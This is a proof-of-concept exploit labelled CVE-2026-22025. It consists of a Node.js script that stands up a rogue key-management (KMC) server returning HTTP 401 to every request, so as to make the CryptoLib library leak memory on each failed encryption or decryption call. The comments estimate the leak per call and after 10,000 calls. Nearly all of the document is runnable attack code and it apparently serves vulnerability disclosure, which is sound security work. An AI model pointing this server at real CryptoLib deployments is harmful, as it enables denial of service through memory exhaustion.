CVE-2026-22025

// PoC: Memory leak trigger via malicious KMC server response // This demonstrates the memory leak when KMC returns non-200 status const http = require('http'); // Malicious KMC server that returns non-200 status const server = http.createServer((req, res) => { console.log('Received encryption/decryption request'); // Return non-200 status to trigger memory leak res.writeHead(401, {'Content-Type': 'application/json'}); res.end(JSON.stringify({error: 'Unauthorized'})); }); server.listen(4444, () => { console.log('Malicious KMC server listening on port 4444'); console.log('Configure CryptoLib to use this server to trigger leak'); console.log('Each request will leak ~467 bytes'); }); // Example: Repeated failed requests simulation // for (let i = 0; i < 10000; i++) { // triggerCryptographyCall(); // Each call leaks ~467 bytes // // After 10000 calls: ~4.67MB leaked // }

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